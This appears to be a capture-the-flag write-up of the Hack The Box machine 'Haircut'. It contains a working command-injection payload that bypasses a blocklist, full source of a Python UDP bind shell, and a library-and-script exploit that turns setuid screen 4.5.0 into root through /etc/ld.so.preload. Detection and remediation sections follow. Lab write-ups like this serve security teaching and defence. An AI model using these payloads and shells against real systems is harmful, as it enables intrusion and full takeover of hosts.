HTB: Haircut
A PHP page that hands a form field to curl through a shell, guarded by a blocklist that leaves command substitution open, gives a shell as www-data; a hand-installed setuid screen 4.5.0 that opens its log file as root gives the rest.
- Published
- Reading time
- 31 min
- Difficulty
- medium
- Target
- Linux (Haircut)
htblinuxcommand-injectioncurlblocklist-bypassscreenld-so-preloadudp-shell
Overview
Haircut is a medium-rated Linux machine on Ubuntu 16.04.2. Two TCP ports answer: SSH and an
nginx that serves three static pages. The way in is a fourth page that no link points to, a PHP
form that passes its one field to curl on a shell command line. A blocklist of fourteen
strings stands in front of it and stops none of what matters. Root is a setuid copy of GNU
screen 4.5.0 that somebody installed beside the packaged one, and that version opens its log
file with root’s privileges wherever the caller asks.
The whole run took 24 minutes from the start of the session to root, and 14 of those were one badly shaped wordlist pass. I had owned this machine before and kept no notes, so it was run again as an unseen box. One memory did steer a decision and it is declared where it happened.
| Step | Technique | Result |
|---|---|---|
| 1 | Content discovery, .php on a words list |
exposed.php |
| 2 | Option injection, file:// |
Source of the page and its blocklist |
| 3 | Command substitution with an octal-encoded program | UDP command server as www-data |
| 4 | screen 4.5.0 log file into /etc/ld.so.preload |
setuid root shell |
Reconnaissance
Two scans in parallel, the default scripts on the top 1000 ports and a fast sweep of all of them:
nmap -p- --min-rate 2000 -oN scans/02-full.nmap 10.129.101.57
nmap -sC -sV -oN scans/01-top1000.nmap 10.129.101.57
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
[...]
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
|_http-server-header: nginx/1.10.0 (Ubuntu)
The full sweep added nothing. The web root is a static file: the response carries an ETag
and a Last-Modified of 15 May 2017, and the body is a title and one image, bounce.jpg.
/robots.txt is a 404.
A wordlist of the wrong shape
With one static page and no links, the next step is content discovery. My first pass was a directories list with three extensions:
ffuf -s -u http://10.129.101.57/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-e .php,.html,.txt -t 40 -mc 200,301,302,401,403,405,500 -of csv -o artifacts/04-ffuf-raft-medium.csv
FUZZ,status_code,content_length
test.html,200,223
uploads,301,194
index.html,200,144
hair.html,200,141
That took 14 minutes, from 20:25 to 20:39, and found two more static pages and a directory
that answers 403. test.html shows carrie.jpg, hair.html shows sea.jpg. Nothing dynamic.
Before the second pass I checked whether the 404 page would tell me if PHP was wired up at
all. It does not. A missing .php and a missing .html come back as the same 178-byte nginx
404:
### nonexistent-control.php
HTTP/1.1 404 Not Found
Server: nginx/1.10.0 (Ubuntu)
Content-Type: text/html
Content-Length: 178
[...]
### nonexistent-control.html
HTTP/1.1 404 Not Found
Server: nginx/1.10.0 (Ubuntu)
Content-Type: text/html
Content-Length: 178
The second pass is where memory came in. I remembered from the first time that the entry
point was a PHP file with an unusual name, though not the name. That is why this pass was
.php only over a list of words. The first pass had split its time over four suffixes on a
list built for directory names, which is reason enough without the memory:
ffuf -s -u http://10.129.101.57/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-t 80 -mc 200,301,302,401,403,405,500 -of csv -o artifacts/06-ffuf-words-php.csv
FUZZ,status_code,content_length
exposed,200,446
63,088 words in under four minutes, one hit.
exposed.php
<form action='exposed.php' method='POST'>
<span>
<p>
Enter the Hairdresser's location you would like to check. Example: http://localhost/test.html
</p>
</span>
<input type='text' name='formurl' id='formurl' width='50' value='http://localhost/test.html'/>
<input type='submit' name='submit' value='Go' id='submit' />
</form>
A page that fetches a URL for the visitor. Three requests settle what sits behind it. Each is this command with a different value:
curl -s -m 20 http://10.129.101.57/exposed.php --data-urlencode "formurl=$1" --data "submit=Go"
The example value, http://localhost/test.html, returns the page preceded by a progress meter:
<p>Requesting Site...</p> % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0100 223 100 223 0 0 44905 0 --:--:-- --:--:-- --:--:-- 55750
That meter is the curl binary writing to standard error, so the field is reaching a command
line and not a PHP HTTP client. The second value, http://localhost/test.html; id, is refused:
<p>Requesting Site...</p>; is not a good thing to put in a URL </span>
So there is a filter, and it names the character it disliked. The third value,
http://localhost/test.html --version, shows the filter has no opinion on options:
<p>Requesting Site...</p>curl 7.47.0 (x86_64-pc-linux-gnu) libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp
file is in the protocol list. With options and file:// both available there is no need to
guess at the filter. One request reads it, along with the two other files I wanted:
formurl=-s file:///var/www/html/exposed.php file:///etc/passwd file:///etc/nginx/sites-enabled/default
<?php
if(isset($_POST['formurl'])){
echo "<p>Requesting Site...</p>";
$userurl=$_POST['formurl'];
$naughtyurl=0;
$disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');
foreach($disallowed as $naughty){
if(strpos($userurl,$naughty) !==false){
echo $naughty.' is not a good thing to put in a URL';
$naughtyurl=1;
}
}
if($naughtyurl==0){
echo shell_exec("curl ".$userurl." 2>&1");
}
}
?>
From /etc/passwd, the accounts with a login shell are root and maria. The nginx site
passes \.php$ to unix:/run/php/php7.0-fpm.sock and has nothing else of interest.
Attack Surface Analysis
User input concatenated into a shell command (CWE-78, CWE-88)
shell_exec("curl ".$userurl." 2>&1") gives the visitor two things at once. The value is
split into words by the shell, so it can add options and further URLs to curl (argument
injection, CWE-88). And it is parsed by the shell before curl ever starts, so shell syntax
in it is executed (command injection, CWE-78).
An incomplete blocklist (CWE-184)
Fourteen strings are refused: % ! | ; python nc perl bash & # { } [ ]. The list blocks some
ways of chaining commands and four program names. It does not block $(, the backtick, >,
<, quotes, the backslash or the newline.
Local file disclosure through the fetcher (CWE-73, CWE-918)
Nothing restricts the scheme. The curl on this host supports file, gopher, dict and
others, and the page prints whatever comes back. uploads/ is writable by www-data, so
-o into it looks like a second route to code execution with no blocked character. I did not
test it.
A setuid root screen 4.5.0 (CVE-2017-5618, CWE-269)
-rwsr-xr-x 1 root root 1588648 May 19 2017 /usr/bin/screen-4.5.0
This is the only entry in the setuid list that does not belong to a stock Ubuntu install. The version is the one affected by CVE-2017-5618, and the mode bit is what turns that bug into root.
Smaller findings, not used
/home/maria/.tasks/task1 is world-readable and is a PHP stub with a MySQL connection string
for root. The password literal in it reads as a placeholder and I did not try it. user.txt is owned by
root with mode 644, so the web user can read it without becoming maria.
Vulnerability Analysis
Why the blocklist fails
The check runs strpos over the raw string for each forbidden substring. That design has two
weaknesses, and the page has both.
The first is that the list has to name every dangerous construct, and it misses the oldest
one. $(command) is expanded by the shell that shell_exec starts, before curl runs, and
its output is pasted into the command line. With > also allowed, a substitution can write a
file.
The second is that a substring check sees the request, not what the shell will make of it.
python is refused, but pyth''on3 is not: the shell removes the empty pair of quotes and
runs python3. The same goes for the characters. A program that needs %, ;, [ and {
can be sent as printf '\151\155...', a run of backslashes and digits that the filter has no
rule for and that printf turns back into the original bytes.
Why screen 4.5.0 is root
I did not read the screen source in this session, so the mechanism here is the published
description of CVE-2017-5618 matched against what the box did. Version 4.5.0, installed
setuid root, opens the file named
by -L while it still holds root’s effective uid and without checking that the caller could
have written there. A caller who changes directory to /etc and asks for a log called
ld.so.preload therefore gets a root-owned file created in /etc, and with umask 000 it is
created world-writable. Whatever the program inside the screen session prints becomes the
content of the file.
/etc/ld.so.preload is read by the dynamic loader at the start of every dynamically linked
program, setuid programs included. That is the difference from the LD_PRELOAD variable,
which the loader restricts for setuid programs. A path written into that file is a library
that will run inside the next setuid root program anyone starts.
The packaged screen on this box is not affected in the same way. dpkg -l screen reports
4.3.1-2build1, and that binary has been renamed screen.old and is setgid utmp only:
lrwxrwxrwx 1 root root 12 May 19 2017 /usr/bin/screen -> screen-4.5.0
-rwsr-xr-x 1 root root 1588648 May 19 2017 /usr/bin/screen-4.5.0
-rwxr-sr-x 1 root utmp 434216 Feb 7 2016 /usr/bin/screen.old
dpkg -S finds no package owning either path. Version 4.5.0 was installed outside
the package manager, set setuid root, and given the screen name.
Exploitation
Phase 1: from the form to a shell as www-data
The lab’s rule is at most three commands through a web primitive and then a real shell. The shell I used is a UDP command server. The previous machine dropped outbound TCP and I wrote one for it; this is a Python 3 rewrite made in this session that adds the fork and the descriptor closing. I did not test a reverse TCP connection from this box. A bind server needs one request to plant and start, and nothing listening on my side.
The server forks, closes every inherited descriptor and then binds. Closing the descriptors
matters here: shell_exec reads its pipe until every holder has closed it, so a child that
kept the pipe open would hang the PHP worker for as long as the shell lived.
import os, socket, subprocess, sys
if os.fork():
os._exit(0)
os.setsid()
os.closerange(0, 256)
os.open('/dev/null', os.O_RDWR); os.dup(0); os.dup(0)
K = sys.argv[2].encode() + b':'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', int(sys.argv[1])))
while 1:
d, a = s.recvfrom(65535)
if not d.startswith(K):
continue
try:
o = subprocess.Popen(d[len(K):].decode(), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, stdin=open('/dev/null')).communicate()[0]
except Exception as e:
o = str(e).encode()
n = (len(o) + 1199) // 1200
for i in range(n):
s.sendto(('%06d:' % i).encode() + o[i * 1200:(i + 1) * 1200], a)
s.sendto(('__END__%d' % n).encode(), a)
It answers only datagrams that start with a token, runs the rest as a command and sends the output back in numbered pieces. The client reassembles them:
#!/usr/bin/env python3
# client for udpsrv.py: udpsh.py <host> <port> <token> "<command>" [timeout_seconds] (Joker)
import socket, sys
host, port, tok, cmd = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4]
wait = float(sys.argv[5]) if len(sys.argv) > 5 else 20
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(wait)
s.sendto(tok.encode() + b":" + cmd.encode(), (host, port))
parts, total = {}, None
try:
while total is None or len(parts) < total:
d, _ = s.recvfrom(65535)
if d.startswith(b"__END__"):
total = int(d[7:])
s.settimeout(2)
else:
parts[int(d[:6])] = d[7:]
except socket.timeout:
if total is None:
sys.stderr.write("[sh.py] no END marker within timeout\n")
elif len(parts) < total:
sys.stderr.write("[sh.py] %d of %d chunks lost\n" % (total - len(parts), total))
sys.stdout.buffer.write(b"".join(parts[k] for k in sorted(parts)))
The payload is two command substitutions. The first writes the program with printf from an
octal encoding, the second starts it:
$(printf '\151\155\160\157\162\164\040\157\163\054\040\163[...]\051\012' > /dev/shm/.u.py) $(pyth''on3 /dev/shm/.u.py 40123 hc9d2e)
It is cut here; the encoder that produced it, with the blocklist check as its fifth line, is short enough to show whole:
src = open('udpsrv2.py', 'rb').read()
octal = ''.join('\\%03o' % b for b in src)
payload = "$(printf '%s' > /dev/shm/.u.py) $(pyth''on3 /dev/shm/.u.py 40123 hc9d2e)" % octal
bad = ['%', '!', '|', ';', 'python', 'nc', 'perl', 'bash', '&', '#', '{', '}', '[', ']']
print('len', len(payload), 'blocked:', [b for b in bad if b in payload])
open('payload.check', 'w').write(payload)
len 3182 blocked: []
That ran inline during the session and was saved to a file afterwards; the saved copy
reproduces the payload byte for byte.
Because the payload writes a file and starts a process, it was tested on my side first, under
dash with a different path and port: the file it wrote was byte-identical to the source, the
server answered id, and it held no descriptor but its own socket.
The first attempt at that test printed nothing and its shell exited with code 144. It ended
with pkill -f and the test file’s name, and my reading is that the pattern matched the
shell running the test, whose command line held the same name. I did not confirm that, and
neither local run was saved to a file. The rerun had the server kill $PPID instead. Nothing
had been sent to the target at that point.
Then one request, and the first command through the new channel:
curl -s -m 20 http://10.129.101.57/exposed.php --data-urlencode "formurl@artifacts/payload.txt" --data "submit=Go"
python3 /tools/udpsh.py 10.129.101.57 40123 hc9d2e "id; hostname; uname -a; ls /proc/\$PPID/fd; [...]" 8
<p>Requesting Site...</p>curl: try 'curl --help' or 'curl --manual' for more information
[...]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
haircut
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
0
1
2
3
5
The page shows curl’s usage hint because both substitutions expand to nothing and curl is
left with no URL. Descriptors 0 to 2 are /dev/null and 3 is the socket; 5, on my reading of the
server’s code, is the pipe it reads this command’s output from. The same listing showed the flag file:
-rw-r--r-- 1 root root 33 Nov 23 17:24 user.txt
Readable by anyone, so the user flag came out as www-data, 22 minutes after the session started. There
was no step to maria and I did not look for one.
Phase 2: enumeration
One command covered setuid files, capabilities, maria’s home, cron, listeners, the release and the compilers:
find / -xdev -perm -4000 -type f -exec ls -la {} + 2>/dev/null; echo ---; getcap -r / 2>/dev/null; echo ---; ls -la /home/maria/.tasks /home/maria/Documents /home/maria/Desktop; cat /etc/crontab; ls -la /etc/cron.d; ss -lntup; cat /etc/lsb-release; ldd --version | head -1; which gcc cc screen
The setuid list is where the answer was, and the rest of the output set the conditions for using it:
tcp LISTEN 0 80 127.0.0.1:3306 *:*
[...]
DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
ldd (Ubuntu GLIBC 2.23-0ubuntu7) 2.23
/usr/bin/gcc
A second command checked what the exploit depends on before anything was built:
mount | grep -E " /(var/tmp|tmp|var|dev/shm|) "; ls -ld /var/tmp /etc /etc/ld.so.preload; gcc --version | head -1; echo "int main(){return 0;}" > /var/tmp/.t.c; gcc -o /var/tmp/.t /var/tmp/.t.c; echo gcc rc=$?; rm -f /var/tmp/.t /var/tmp/.t.c; screen-4.5.0 --version; ls -la /usr/bin/screen*; cat /home/maria/.tasks/task1
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
ls: cannot access '/etc/ld.so.preload': No such file or directory
[...]
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
gcc: error trying to exec 'cc1': execvp: No such file or directory
gcc rc=1
Screen version 4.05.00 (GNU) 10-Dec-16
Three facts changed the plan. /dev/shm is mounted nosuid, so the setuid shell has to live
under /var/tmp, which is on the root filesystem. /etc/ld.so.preload does not exist, so
there is nothing to preserve. And gcc is installed without its compiler proper, so the
library has to be built off the box against a glibc no newer than 2.23.
Phase 3: www-data to root through screen
The library is a constructor with three calls. It gives a file to root, sets it setuid, and removes the preload file so the system goes back to normal the moment it has run once:
#include <unistd.h>
#include <sys/stat.h>
__attribute__((constructor)) void hax(void)
{
chown(P, 0, 0);
chmod(P, 04755);
unlink(L);
}
I use a copy of bash as the target file and not a compiled helper, which leaves one thing to
build. It was tested in the lab container first with stand-in paths, as root, with
LD_PRELOAD: the copy came out root root with mode 4755 and the stand-in preload file was
gone. That test build was 15,472 bytes and unstripped; the shipped one below differs in its
paths and -s, and its first load was the guard on the target. Then the real build, with a check on which glibc symbol versions it imports:
gcc -s -fPIC -shared -Wl,--hash-style=both -Wl,-z,nopack-relative-relocs \
-DP="\"/var/tmp/.rb\"" -DL="\"/etc/ld.so.preload\"" -o hax.so hax.c
objdump -T hax.so | grep -E "GLIBC"
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) unlink
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) chown
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) chmod
0000000000000000 w DF *UND* 0000000000000000 (GLIBC_2.2.5) __cxa_finalize
Nothing newer than 2.2.5, so a 2.23 loader will take it. The two linker flags are an untested precaution against formats the old loader may not know.
The library is 14,304 bytes and the only channel is the UDP shell, so it went over in 600-byte
pieces, each appended with base64 -d, with a hash comparison at the end:
#!/bin/bash
# push.sh <local file> <remote path>: send a file through the UDP shell in 600-byte pieces
set -euo pipefail
IP=$(cat /work/artifacts/target_ip.txt); S="python3 /tools/udpsh.py $IP 40123 hc9d2e"
D=$(mktemp -d); split -b 600 "$1" "$D/c."
$S "rm -f $2" 5
for f in "$D"/c.*; do $S "echo $(base64 -w0 "$f") | base64 -d >> $2; echo -n ." 5; done; echo
sha256sum "$1" | cut -d' ' -f1
$S "sha256sum $2; ls -la $2" 5
........................
53c5f46847c50010ded580544a25a0fb1b4cffc0039c4e3b7a45dfecb0bc0f5e
53c5f46847c50010ded580544a25a0fb1b4cffc0039c4e3b7a45dfecb0bc0f5e /var/tmp/.hax.so
-rw-r--r-- 1 www-data www-data 14304 Nov 23 17:46 /var/tmp/.hax.so
The exploit itself is a script that was pushed the same way and run once:
#!/bin/sh
cp /bin/bash /var/tmp/.rb
LD_PRELOAD=/var/tmp/.hax.so /bin/true || { echo "library does not load, stopping"; exit 1; }
ls -la /var/tmp/.rb
chmod 755 /var/tmp/.rb
cd /etc
umask 000
/usr/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/var/tmp/.hax.so"
ls -la /etc/ld.so.preload && od -c /etc/ld.so.preload | head -3
/usr/bin/screen-4.5.0 -ls
ls -la /var/tmp/.rb /etc/ld.so.preload
/var/tmp/.rb -p -c 'id'
The third line is a guard. If the library did not load on this glibc, writing its path into
/etc/ld.so.preload would make every program on the box print an error, and the constructor
that removes the file would never run. Loading it once as www-data proves it loads. It has a
side effect I tried to undo: run unprivileged, the constructor’s chmod still succeeds on a
file www-data owns, hence the chmod 755 that follows. The undo did not hold. ls, od
and head each loaded the library as www-data while the preload file existed and set the
bit again. It made no difference to the result, since the file was still not root’s.
-rwsr-xr-x 1 www-data www-data 1037528 Nov 23 17:47 /var/tmp/.rb
ERROR: ld.so: object '<CR>' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
-rw-rw-rw- 1 root www-data 18 Nov 23 17:47 /etc/ld.so.preload
[...]
0000000 \r \n / v a r / t m p / . h a x .
0000020 s o
0000022
[...]
No Sockets found in /tmp/screens/S-www-data.
ls: cannot access '/etc/ld.so.preload': No such file or directory
-rwsr-xr-x 1 root root 1037528 Nov 23 17:47 /var/tmp/.rb
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Read top to bottom, that is the whole escalation. The first line is the guard’s side effect.
Then screen creates /etc/ld.so.preload, owned by root, mode 666, 18 bytes. The od output
shows why the loader complains: screen’s terminal layer turned the newline that echo printed
into a carriage return and a newline, so the file’s first entry is a lone carriage return and
the second is the library path. The loader reports the first as an object it cannot open and
carries on, which is the ERROR line printed by each program started while the file existed.
The captured line has the carriage-return byte itself between the quotes; it is written <CR>
above.
screen-4.5.0 -ls is there only because it is a setuid root program. The loader maps the
library into it, the constructor runs with an effective uid of 0, and by the time screen
reports that it has no sockets, the copy of bash belongs to root with the setuid bit and the
preload file no longer exists. bash -p keeps the effective uid.
Root came 24 minutes after the session started. The root flag was read through that shell into a local file and never printed.
Post-Exploitation
Before stopping the machine I ran one script as euid 0 to collect what the post needed. There
are no user crontabs. iptables -S shows three ACCEPT policies and no rules, so nothing on
the host would have stopped a TCP shell in either direction. PHP’s disable_functions lists
only the pcntl_ family, so shell_exec is available.
/tmp/screens was left behind by the exploit as root www-data mode 755.
The files I planted, /dev/shm/.u.py and five under /var/tmp, were not removed: the
instance was terminated straight afterwards. The owned flags were not submitted again, since
the account already held both.
Defensive Analysis
Discovery. Two wordlist passes, 63,088 requests in the second alone, came from one address in under twenty minutes, nearly all of them 404. A rate rule on 404s per client sees that.
Injection. The requests that mattered are ordinary POSTs to one page, and nginx’s default
log format does not record request bodies. The signal is on the host: a php-fpm worker
starting sh -c "curl ..." is expected here, but curl being given file:// URLs is not,
and neither is a python3 child of that shell that outlives the request. A process-ancestry
rule (web server worker, then shell, then an interpreter) catches this class without knowing
the payload.
The shell. A new UDP listener owned by www-data on a high port shows in ss -lnup, as
it did in my own enumeration. A host firewall with a default-deny inbound policy would have
left the server running and unreachable.
Escalation. /etc/ld.so.preload existed only between two lines of one script. File
integrity monitoring that polls would miss it; an audit watch on that path (auditctl -w /etc/ld.so.preload -p wa) would not. The loader’s cannot be preloaded error is printed to
the standard error of whatever program starts in that window, which is easy to lose. A setuid
root file appearing under /var/tmp is the durable artefact, and a periodic search for setuid
files outside the package database finds both it and screen-4.5.0 itself.
Remediation
- Do not build a shell command from the field at all. PHP’s curl extension fetches a URL
with no shell involved, and
CURLOPT_PROTOCOLSlimits it tohttpandhttps. - If the binary must be used, pass the value as one argument with
escapeshellarg, put--before it so it cannot be read as an option, and add--proto =http,https. - Validate with an allowlist: parse the value as a URL and accept a known scheme and a known set of hosts. A list of bad substrings will always be one construct short.
- Remove
/usr/bin/screen-4.5.0and restore the packaged binary. The CVE entry gives versions before 4.5.1 as affected. - Audit setuid files against the package database on a schedule, and mount
/var/tmpand/tmpnosuidwhere the layout allows it, as/dev/shmalready is here. - Keep database connection strings out of world-readable files in home directories.
Key Takeaways
- A page that prints a tool’s progress meter is telling you it runs the tool. The next questions are whether options pass and whether the tool can read local files, and one request answered both and returned the filter’s source.
- Read the filter before fighting it. Three probes and one
file://request replaced any amount of guessing at which characters were allowed. - Encoding beats a blocklist of substrings.
printfwith octal escapes needs only digits, backslashes and quotes, and an empty pair of quotes splits any forbidden word.